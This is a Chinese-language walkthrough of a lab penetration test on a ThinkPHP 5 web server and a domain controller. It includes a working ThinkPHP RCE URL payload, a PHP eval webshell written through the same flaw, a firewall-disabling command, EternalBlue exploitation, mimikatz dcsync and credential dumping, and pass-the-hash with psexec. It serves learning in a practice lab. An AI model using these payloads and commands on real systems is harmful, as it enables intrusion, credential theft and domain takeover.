环境搭建
0x01 网卡配置
在WEB靶机上如下,其中133网段为NAT即外网地址,195网段为内网地址
在域控上,如下
0x02 启动
在WEB靶机中开启phpstudy即可
渗透流程
0x01 WEB层
打开WEB靶机地址,发现是TP5
然后直接找了个RCE的POC进行验证
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在验证确实存在漏洞后,进一步写入Webshell
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[cracer]);?>
并使用蚁剑进行连接
之后使用CS的Web Delivery模块上线
0x02 内网-信息收集
首先,使用
net view
寻找内网存主机,可以看到除了我们的WEB靶机就是域控了
0x03 内网-域控打法1
首先拿下WEB服务器后可以扫描内网,可以看到我们的域控他老人家直接受永恒之蓝的影响
这里需要注意的是,检测存在漏洞后,需要先关闭防火墙,否则下一步利用将失败,体现为虽然利用成功了但无法拿到meterpreter的session
查看防火墙状态
netsh firewall show config
关闭防火墙(真实环境中不建议这样做,动静太大,可以有针对性的放行端口)
netsh advfirewall set allprofiles state off
再次查看,确认关闭后进行下一步动作
此时再使用msf的永恒之蓝模块,可以直接拿到域控的meterpreter
0x04 内网-域控打法2
在拿到WEB靶机的权限后,我们也可以先架设代理
之后通过mimikatz导出所有的用户凭据
mimikatz lsadump::dcsync /domain:sun.com /all /csv
或者使用
logonpasswords
能够直接拿到明文密码
之后使用psexec传递hash即可
这样我们就拿到了Beacon
之后可以hashdump并进行进一步的权限持久化操作,这里就不再赘述了
0x05 后记
本次打靶还是踩了一些坑的,特此记录
- 首先是使用
hashdump
的时候可能会导出空密码,原因未知,我理解为工具的原生问题。这导致我在进行pth操作时卡了一会,后来使用mimikatz的命令才导出了正确的不是空密码的hash,并成功传递上线域控
-
- 还有就是需要关闭防火墙才能成功利用永恒之蓝打下域控,原理嘛就是站在WEB服务器来讲,我们使用的
reverse_http
的payload对它来说是个正向的连接,作为WEB服务器,合理的配置是80/443端口开放,有时候也会多个数据库的端口。其他的端口为了安全起见自然是禁止入站流量的啦。所以需要关闭防火墙。 - 如果是对于VPS,有端口映射那种,关闭防火墙也不好使了,这个时候可以试试使用
bind_tcp
,理论上是可以成功的,但测试时失败了,原因未知 - 还有一种思路是如果是高权限的话可以试试端口复用,这里没进行测试就不进一步细讲了
- 还有就是需要关闭防火墙才能成功利用永恒之蓝打下域控,原理嘛就是站在WEB服务器来讲,我们使用的